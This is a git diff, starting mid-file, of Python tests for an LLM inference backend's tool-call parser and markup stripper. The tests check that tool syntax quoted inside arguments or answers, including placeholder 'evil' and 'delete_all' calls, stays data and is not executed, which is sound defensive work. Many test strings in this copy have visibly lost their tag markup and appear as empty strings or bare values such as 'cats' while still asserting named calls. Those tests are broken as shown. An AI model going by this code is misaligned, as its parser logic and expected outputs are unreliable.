parse_tool_calls_from_text(text, allow_incomplete = False) == [] + + +class TestDisabledJsonBeforeDeepSeekCall: + """A disabled leading bare-JSON object whose strings mention a + DeepSeek/Kimi marker is dropped and the tail parsed, so a REAL + DeepSeek/Kimi call after the object still executes instead of the whole + message skipping the pre-pass.""" + + _DS = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n" + '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + + def test_real_deepseek_call_after_disabled_json_parses(self): + text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"} ' + self._DS + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_disabled_json_with_marker_alone_stays_data(self): + text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + +class TestGemmaDottedArgumentKeys: + """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost.""" + + def test_dotted_key_parses(self): + text = '<|tool_call>call:web_search{user.name:<|"|>bob<|"|>, query:<|"|>x<|"|>}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"user.name": "bob", "query": "x"} + + +class TestLeadingWrapperlessGemmaOverEmbeddedMarkers: + """A leading wrapper-less Gemma call to an enabled tool owns the turn: a + quoted foreign literal inside its argument (a query citing another tool + syntax) is data, and tool_healing must not promote it before the Gemma + fallback runs. Foreign markup leading keeps the normal order.""" + + def test_leading_gemma_wins_over_quoted_xml_literal(self): + text = ( + 'call:web_search{query:"explain ' + '{"name":"evil","arguments":{}}"}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_xml_leading_keeps_normal_order(self): + text = ( + '{"name":"web_search","arguments":' + '{"query":"call:evil{x:1} example"}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestLeadingMistralCallOwnsTheTurn: + """A leading Mistral call wins in document order over literal XML in trailing prose.""" + + def test_leading_mistral_wins_over_trailing_xml_literal(self): + text = ( + '[TOOL_CALLS]web_search[ARGS]{"query":"cats"} ' + "Note: 1" + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_function_xml_leading_keeps_normal_order(self): + text = ( + "x " + "[TOOL_CALLS]evil[ARGS]{}" + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestGemmaDottedKeyAfterBareValue: + def test_dotted_key_after_bare_value_is_a_boundary(self): + text = "<|tool_call>call:web_search{query:foo,user.name:bob}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"query": "foo", "user.name": "bob"} + + +class TestJsonAnswersAreDataForMarkerlessScans: + """A whole-content JSON value is a structured answer: a quoted example of + an enabled tool's syntax inside it must not execute the tool, and the + display strip must not mutilate the answer.""" + + def test_gemma_example_inside_json_answer_not_promoted(self): + text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + def test_gemma_example_inside_json_answer_not_stripped(self): + from core.inference.tool_call_parser import strip_tool_markup + text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}' + assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text + + def test_kimi_marker_inside_json_answer_not_promoted(self): + text = ( + '{"answer":"<|tool_call_begin|>functions.web_search:0' + '<|tool_call_argument_begin|>{}<|tool_call_end|>"}' + ) + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + +class TestGemmaNestedQuotedLeaves: + def test_nested_object_and_array_values_are_unquoted(self): + text = 'call:f{loc:{city:"New York"},items:["a","b"],n:3}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"loc": {"city": "New York"}, "items": ["a", "b"], "n": 3} + + +class TestEarliestEnvelopeWinsAcrossDeepSeekKimi: + """The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener: a + leading real call wins over a trailing example of the sibling format in + either direction (document order, like the other leading guards).""" + + _DS = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>evil\n" + '```json\n{"x": 1}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + _KIMI = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"query": "cats"}<|tool_call_end|>' + "<|tool_calls_section_end|>" + ) + + def test_leading_kimi_wins_over_trailing_deepseek_example(self): + text = self._KIMI + " For reference: " + self._DS + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_leading_deepseek_wins_over_trailing_kimi_example(self): + text = self._DS + " Kimi format: " + self._KIMI + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["evil"] + + +class TestNamelessLeadingJsonAnswerIsData: + """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses.""" + + def test_xml_literal_inside_json_answer_stays_data(self): + text = '{"answer": "use x"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + def test_real_call_after_json_answer_still_parses(self): + text = ( + '{"answer": "docs"} {"name": "web_search", ' + '"arguments": {"query": "cats"}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestClosedCallPrecedesMarkerPrePass: + """A closed non-DeepSeek/Kimi call that precedes the first DS/Kimi marker + owns the turn: a trailing example (or an example quoted inside a wrapped + Gemma argument) must not be promoted by the pre-pass.""" + + _KIMI_EVIL = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.evil:0" + '<|tool_call_argument_begin|>{"x": 1}<|tool_call_end|>' + "<|tool_calls_section_end|>" + ) + + def test_kimi_example_inside_wrapped_gemma_arg_stays_data(self): + text = ( + '<|tool_call>call:web_search{query:<|"|>explain ' + + self._KIMI_EVIL + + '<|"|>}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_leading_xml_call_wins_over_trailing_kimi_example(self): + text = ( + '{"name":"web_search","arguments":{"query":"cats"}}' + " For reference: " + self._KIMI_EVIL + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_standalone_kimi_call_still_parses(self): + calls = parse_tool_calls_from_text(self._KIMI_EVIL) + assert [c["function"]["name"] for c in calls] == ["evil"] + + +class TestTruncatedWrapperlessGemmaStopsScan: + def test_call_quoted_inside_truncated_arg_not_promoted(self): + text = 'call:python{code:example("call:web_search{query:hi}") and then it cut' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == [] + + +class TestGemmaQuotedNestedDelimiters: + def test_comma_inside_quoted_nested_string_not_a_split(self): + text = 'call:f{loc:{city:"New, York"},n:1}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"loc": {"city": "New, York"}, "n": 1} + + +class TestGemmaStringMarkerLiteralInArgs: + def test_string_marker_literal_does_not_lose_the_call(self): + text = "call:web_search{query:'what does <|\"|> mean in Gemma'}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == 'what does <|"|> mean in Gemma' + + +class TestGemmaMidValueQuotedPhrase: + def test_quoted_phrase_mid_value_hides_delimiters(self): + text = 'call:web_search{query:find "weather, location: Boston", limit:3}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"query": 'find "weather, location: Boston"', "limit": 3} + + def test_apostrophes_still_prose_mid_value(self): + text = "call:web_search{query:what's on at the museum, n:2}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"query": "what's on at the museum", "n": 2} + + +class TestGlmStrictRefusesInQuoteFallback: + """A truncated GLM value whose only close candidates sit inside a string + literal must reject in strict mode instead of executing truncated + arguments; Auto-Heal keeps the lenient partial value.""" + + _TRUNC = ( + 'python\ncode\nprint("")' + ) + + def test_strict_rejects_truncated_in_string_close(self): + assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == [] + + def test_heal_keeps_partial_value(self): + calls = parse_tool_calls_from_text(self._TRUNC, allow_incomplete = True) + assert len(calls) == 1 and calls[0]["function"]["name"] == "python" + + +class TestGemmaGuardCoversPreambles: + def test_preamble_then_gemma_call_quoting_xml_wins(self): + text = ( + "Sure, searching now. call:web_search{query:" + '"explain {"name":"evil","arguments":{}}"}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestGlmStrictAcceptsApostrophes: + def test_apostrophe_value_parses_in_strict_mode(self): + text = ( + "web_search\nquery\n" + "what's the weather\n" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"query": "what's the weather"} + + +class TestDisabledGemmaCallLiteralsAreData: + def test_literal_inside_disabled_call_not_promoted(self): + text = 'call:foo{query:"x"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == [] + + def test_real_call_after_disabled_example_still_parses(self): + text = ( + 'call:foo{query:"x"}' + " call:web_search{query:hi}" + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestLeadingJsonArrayAnswerIsData: + def test_kimi_marker_inside_json_array_answer_not_promoted(self): + text = ( + '[{"answer": "<|tool_call_begin|>functions.web_search:0' + '<|tool_call_argument_begin|>{}<|tool_call_end|>"}]' + ) + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + +class TestLeadingBareJsonOwnsTurnOverTrailingXml: + """Document order: a leading closed bare-JSON call owns the turn even when + tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule).""" + + def test_leading_call_wins_over_trailing_xml(self): + text = ( + '{"name":"lookup","parameters":{"q":"first"}} Example: ' + '{"name":"delete_all","arguments":{}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["lookup"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"} + + def test_chained_leading_calls_win_over_trailing_xml(self): + text = ( + '{"name":"lookup","parameters":{"q":"first"}};' + '{"name":"lookup","parameters":{"q":"second"}} ' + '{"name":"delete_all","arguments":{}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls + + def test_non_call_leading_object_defers_to_trailing_real_call(self): + # Nameless answers and disabled-name objects take the decline path: + # the object is dropped and the real trailing call still parses. + for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'): + text = lead + ' {"name":"delete_all","arguments":{}}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"}) + assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls) + + def test_leading_xml_call_still_wins_over_trailing_bare_json(self): + text = ( + '{"name":"delete_all","arguments":{}} ' + 'Example: {"name":"lookup","parameters":{"q":"x"}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["delete_all"], calls + + +class TestProseCloseTagAfterClosedFunctionCall: + """A literal in prose after a closed call is data: the call + ends at its first close that is not parameter data, so arguments never + swallow the prose between the real close and the literal.""" + + def test_arguments_do_not_swallow_prose(self): + text = ( + "cats" + " Done. The tag closes a call." + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_literal_close_inside_open_parameter_stays_data(self): + text = 'print("")' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) + assert [c["function"]["name"] for c in calls] == ["python"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + + def test_attribute_form_arguments_do_not_swallow_prose(self): + # The attribute form shares the first-balanced-close + # rule: prose mentioning a literal close tag never folds into arguments. + text = ( + 'cats' + " Done. The tag closes a call." + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_attribute_form_literal_close_in_open_parameter_stays_data(self): + text = 'print("")' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) + assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + + def test_attribute_form_two_calls_both_parse(self): + text = ( + 'cats' + 'x=1' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"}) + assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls + + +class TestEnabledNameJsonAnswerIsContent: + """A JSON answer whose top-level name matches an enabled tool but has no + call shape is content: the parser rejects it, so the strip and the drain + gate must keep it visible too.""" + + def test_answer_survives_strip(self): + from core.inference.tool_call_parser import strip_leading_bare_json_call + ans = '{"name":"web_search","result":"no call"}' + assert strip_leading_bare_json_call(ans, {"web_search"}) == ans + + def test_answer_does_not_route_to_draining(self): + from core.inference.safetensors_agentic import _looks_like_enabled_bare_json + assert not _looks_like_enabled_bare_json( + '{"name":"web_search","result":"no call"}', {"web_search"} + ) + + def test_real_call_still_strips_and_drains(self): + from core.inference.safetensors_agentic import _looks_like_enabled_bare_json + from core.inference.tool_call_parser import strip_leading_bare_json_call + + real = '{"name":"web_search","parameters":{"q":"x"}}' + assert strip_leading_bare_json_call(real, {"web_search"}) == "" + assert _looks_like_enabled_bare_json(real, {"web_search"}) + + def test_arguments_string_call_still_strips(self): + from core.inference.tool_call_parser import strip_leading_bare_json_call + call = '{"name":"web_search","arguments":"{\\"q\\":\\"x\\"}"} tail' + assert strip_leading_bare_json_call(call, {"web_search"}) == "tail" + + +class TestAttributeFormLeadingContainment: + """A leading attribute-form call owns the turn: markup quoted inside its + parameter is data, not a call for the shared XML parser to promote.""" + + def test_quoted_tool_call_inside_param_stays_data(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + 'find ' + '{"name":"delete","arguments":{}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"] + + def test_real_xml_call_before_attribute_form_keeps_order(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + '{"name":"delete","arguments":{}} Example: ' + 'x' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"}) + assert calls[0]["function"]["name"] == "delete" + + +class TestParameterKeepsMultipleLiteralCloses: + """A parameter that provably closes with its own tag keeps every literal + function close inside it as data (regression: the first literal close was + treated as ending the parameter, truncating the value).""" + + def test_two_literal_closes_in_one_parameter(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + '' + "a b c " + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "a b c" + } + + def test_strip_removes_the_whole_call(self): + from core.inference.tool_call_parser import strip_tool_markup + text = ( + '' + "a b c after" + ) + assert strip_tool_markup(text, final = True) == "after" + + def test_unclosed_parameter_still_heals_at_function_close(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + calls = parse_tool_calls_from_text( + "val", + enabled_tool_names = {"web_search"}, + ) + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "val"} + + +class TestMistralPreambleOwnership: + """A visible preface before the first Mistral call must not hand the turn + to a later XML literal: the Mistral call is first in document order.""" + + def test_v11_named_form_after_preface(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + 'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note ' + "1" + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_array_form_after_preface(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + 'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note ' + "1" + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_xml_call_before_trigger_keeps_order(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + "1 then " + '[TOOL_CALLS][{"name":"web_search","arguments":{}}]' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + assert calls[0]["function"]["name"] == "evil" + + def test_prose_mention_without_call_shape_keeps_order(self): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + text = ( + "See [TOOL_CALLS] docs for details. " + "1" + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"evil"}) + assert [c["function"]["name"] for c in calls] == ["evil"] + + +class TestBareJsonStripRequiresTopLevelName: + """The strip's shape gate requires the parser's TOP-LEVEL name in every + mode: a JSON answer with only a nested name is content, even name-agnostic.""" + + def test_nested_name_answer_survives_name_agnostic_strip(self): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + ans = '{"parameters":{},"result":{"name":"web_search"}}' + assert strip_leading_bare_json_call(ans) == ans + assert strip_leading_bare_json_call(ans, {"web_search"}) == ans + + def test_real_call_still_strips_name_agnostic(self): + from core.inference.tool_call_parser import strip_leading_bare_json_call + assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == "" + + +class TestGemmaAwareClosedBlockPrePass: + """The closed JSON/function strip pre-pass must not delete across a complete + Gemma span (a quoted plus a later real ).""" + + def test_literal_function_in_gemma_arg_with_later_real_call(self): + from core.tool_healing import strip_tool_call_markup + text = ( + 'before <|tool_call>call:python{code:<|"|>print("")<|"|>}' + " ls" + " after" + ) + assert strip_tool_call_markup(text, final = True) == "before after" + + def test_literal_function_in_gemma_arg_with_prose_closer(self): + from core.tool_healing import strip_tool_call_markup + + text = ( + 'before <|tool_call>call:python{code:<|"|>print("")<|"|>}' + " then use to close. after" + ) + out = strip_tool_call_markup(text, final = True) + assert out.startswith("before") + assert out.endswith("after") + assert "call:python" not in out + + def test_gemma_opener_inside_json_arg_still_strips_block(self): + from core.tool_healing import strip_tool_call_markup + text = ( + '{"name":"t","arguments":{"code":"<|tool_call>call:x{"}} after' + ) + assert strip_tool_call_markup(text, final = True) == "after" + + def test_gemma_opener_inside_function_param_still_strips_block(self): + from core.tool_healing import strip_tool_call_markup + text = ( + 'x = "<|tool_call>call:t{"' + " after" + ) + assert strip_tool_call_markup(text, final = True) == "after" diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py new file mode 100644 index 0000000000..dfa3101882 --- /dev/null +++ b/studio/backend/tests/test_tool_strip_guard.py @@ -0,0 +1,76 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""strip_tool_patterns must match the plain per-pattern loop while skipping the +quadratic no-match rescan of a closed-pair sweep whose close token is absent.""" + +import random +import sys +import time +from pathlib import Path + +_BACKEND_ROOT = Path(__file__).resolve().parents[1] +if str(_BACKEND_ROOT) not in sys.path: + sys.path.insert(0, str(_BACKEND_ROOT)) + +from core.tool_healing import ( + _TOOL_ALL_PATS, + _TOOL_CLOSED_PATS, + strip_tool_call_markup, + strip_tool_patterns, +) + + +def _naive(text, patterns): + for pat in patterns: + text = pat.sub("", text) + return text + + +_TOKENS = [ + "", + "", + "<|tool_call>", + "", + "", + "", + "", + "", + "", + "call:fn{", + "}", + "{", + '<|"|>', + "A", + " ", + "\n", + "id", + "x:1", + "", +] + + +def test_guard_matches_plain_loop_on_fuzz(): + rng = random.Random(1234) + for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS): + for _ in range(20000): + s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10))) + assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns) + + +def test_strip_markup_representative_cases_unchanged(): + assert strip_tool_call_markup("a {} b") == "a b" + assert strip_tool_call_markup("a 1 b") == "a b" + # Non-final keeps an unclosed block; final strips it to EOF. + assert strip_tool_call_markup("a {partial") == "a {partial" + assert strip_tool_call_markup("a {partial", final = True) == "a" + + +def test_no_quadratic_blowup_on_unclosed_markers(): + # Unguarded, this took minutes. + big = "" * 20000 + "" * 20000 + t0 = time.perf_counter() + out = strip_tool_call_markup(big, final = True) + assert time.perf_counter() - t0 < 2.0 + assert out == "" diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py index 2ba3310fbe..f7792a2a71 100644 --- a/studio/backend/tests/test_tool_xml_strip.py +++ b/studio/backend/tests/test_tool_xml_strip.py @@ -24,17 +24,74 @@ import re as _re _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text() _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL) assert _m, "could not extract _TOOL_XML_RE source" -_ns = {"_re": _re} +# The lazy ``(.*?)\n\)`` could grab a shorter expression if an arm is ever wrapped; +# pin the DeepSeek + bare-Kimi arms so a silent truncation fails loudly here. +assert "_DS_OPEN_SRC" in _m.group(1) and "tool_call_begin" in _m.group( + 1 +), "extracted _TOOL_XML_RE is missing expected arms (extraction truncated?)" +# The regex reuses the parser's shared DeepSeek opener alternation; provide it so the extracted +# ``_re.compile`` expression resolves the same source. +from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC +from core.inference.tool_call_parser import ( + _strip_function_xml_calls, + _strip_gemma_wrapperless_calls, + _strip_glm_calls, + _strip_mistral_closed_calls, +) + +from typing import Optional as _Optional + +_ns = { + "_re": _re, + "_DS_OPEN_SRC": _DS_OPEN_SRC, + "Optional": _Optional, + "_strip_mistral_closed_calls": _strip_mistral_closed_calls, + "_strip_gemma_wrapperless_calls": _strip_gemma_wrapperless_calls, + "_strip_glm_calls": _strip_glm_calls, + "_strip_function_xml_calls": _strip_function_xml_calls, +} exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns) _TOOL_XML_RE = _ns["_TOOL_XML_RE"] -_helper = _re.search( - r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n" - r"(?: .+\n)+", +# The display helper uses the closed-only variant before the last think block; keep it in scope. +_mc = _re.search(r"_TOOL_XML_CLOSED_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL) +assert _mc, "could not extract _TOOL_XML_CLOSED_RE source" +exec(f"_TOOL_XML_CLOSED_RE = _re.compile({_mc.group(1)})", _ns) +_TOOL_XML_CLOSED_RE = _ns["_TOOL_XML_CLOSED_RE"] + +# Signatures may span multiple lines and now carry the enabled_tool_names gate; match +# the whole (possibly multi-line) signature up to ``-> str:`` then the indented body. +_xml_helper = _re.search( + r"def _strip_tool_xml\((?:.|\n)*?\) -> str:\n(?: .+\n)+", _src, ) -assert _helper, "could not extract _strip_tool_xml_for_display source" +assert _xml_helper, "could not extract _strip_tool_xml source" +assert "_strip_mistral_closed_calls" in _xml_helper.group( + 0 +), "extracted _strip_tool_xml no longer runs the Mistral balanced strip" +exec(_xml_helper.group(0), _ns) +_strip_tool_xml = _ns["_strip_tool_xml"] + +# Extract the gate helper and display strip up to the next top-level ``logger =``. +_helper = _re.search( + r"def _display_tool_name_gate\(.*?(?=\nlogger = get_logger)", + _src, + _re.DOTALL, +) +assert _helper, "could not extract display strip helper source" +# The extracted block spans _display_tool_name_gate through _strip_tool_xml (defined before +# ``logger =``); confirm the shared _strip_tool_xml delegate is present. +assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates" exec(_helper.group(0), _ns) _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"] +_display_tool_name_gate = _ns["_display_tool_name_gate"] + +_gate_src = _re.search( + r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?: .+\n)+", + _src, +) +assert _gate_src, "could not extract _gemma_strip_gate source" +exec(_gate_src.group(0), _ns) +_gemma_strip_gate = _ns["_gemma_strip_gate"] # ── Well-formed pairs ───────────────────────────────────────────── @@ -46,6 +103,66 @@ def test_route_display_strip_respects_disabled_auto_heal_contract(): assert "" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) +def test_route_display_strip_preserves_rehearsal_inside_think(): + # A rehearsed bracket call inside think is reasoning: the block is preserved while a real + # call outside it still strips. + text = 'plan: search[ARGS]{"q":"x"} answer [TOOL_CALLS]web_search{"q":"y"} tail' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert 'plan: search[ARGS]{"q":"x"}' in out + assert "[TOOL_CALLS]web_search" not in out + assert "answer" in out and "tail" in out + + +def test_route_display_strip_keeps_bare_args_before_think_block(): + # A bare ``foo[ARGS]`` before a think block is prose: EOS-anchored tail arms run only on + # the last segment (earlier segments use the closed-only regex). + text = "Please pass foo[ARGS] pause to the template." + assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) == text + + +def test_route_display_strip_removes_complete_call_before_think_block(): + # A complete bracket call before a think block still strips (balanced scan runs on every segment). + text = 'before search[ARGS]{"q":"x"} pause after' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "search[ARGS]" not in out + assert "pause" in out + assert "before" in out and "after" in out + + +def test_route_display_strip_removes_closed_xml_before_think_block(): + # A closed before a think block is removed in the non-last segment. + text = 'pre {"name":"x"} p tail' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "" not in out + assert "p" in out + assert "pre" in out and "tail" in out + + +def test_all_route_cleanup_sites_use_protected_display_helper(): + # Every route cleanup site must use _strip_tool_xml_for_display (think-preserving, + # balanced); raw _TOOL_XML_RE.sub corrupted think rehearsal and trailing prose. The only + # legitimate raw sub lives inside the helper itself. + raw_sub_lines = [ + (i, line) + for i, line in enumerate(_src.splitlines(), 1) + if "_TOOL_XML_RE.sub(" in line and not line.lstrip().startswith("#") + ] + assert len(raw_sub_lines) == 1, ( + "raw _TOOL_XML_RE.sub must appear only inside _strip_tool_xml_for_display; " + f"found extra call sites: {raw_sub_lines!r}" + ) + + +def test_route_display_strip_removes_mistral_tool_calls_with_nested_json(): + # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral + # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON). + text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail' + assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "[TOOL_CALLS]" not in out and "web_search" not in out, out + assert out == "ok tail" + + def test_strips_well_formed_tool_call(): text = ( "Let me search.\n" @@ -73,6 +190,26 @@ def test_strips_function_only_well_formed(): assert "Done." in cleaned +def test_strips_function_attribute_form(): + # Attribute form ```` (MiniCPM-5 / MiniMax-M2) must strip from the route too + # (it previously leaked into the UI); a dotted/hyphenated name also strips. + text = ( + 'Sure.\n\n' + "\nSydney\n\n\nDone." + ) + cleaned = _TOOL_XML_RE.sub("", text) + assert "" not in cleaned + assert "Sure." in cleaned and "Done." in cleaned + + dotted = 'A x B' + assert _TOOL_XML_RE.sub("", dotted) == "A B" + + # Auto-Heal-disabled display contract still preserves literal markup. + assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text + assert "Visible tail.") + + assert "" not in cleaned + assert "Tool call drained." in cleaned + assert "Visible tail." in cleaned + + # ── Tail-only (PR #5735 follow-up) ─────────────────── @@ -147,6 +292,32 @@ def test_strips_tail_only_parameter_orphan_no_trailing_ws(): assert "Final answer." in cleaned +def test_strips_complete_bracket_tag_keeps_trailing_prose(): + # A complete Mistral call strips only its balanced JSON, leaving following prose intact. + cleaned = _TOOL_XML_RE.sub("", '[TOOL_CALLS]web_search{"q":"x"} and then prose') + assert "[TOOL_CALLS]" not in cleaned + assert "and then prose" in cleaned + + +def test_strips_unclosed_bracket_tail(): + # Close brace lost to EOS: the truncated tail strips to the end instead of leaking. + cleaned = _TOOL_XML_RE.sub("", 'here [TOOL_CALLS]web_search{"query":"weather"') + assert "[TOOL_CALLS]" not in cleaned + assert cleaned.strip() == "here" + + +def test_strips_unclosed_rehearsal_tail(): + cleaned = _TOOL_XML_RE.sub("", 'text python[ARGS]{"code":"print(1)"') + assert "[ARGS]" not in cleaned + assert cleaned.strip() == "text" + + +def 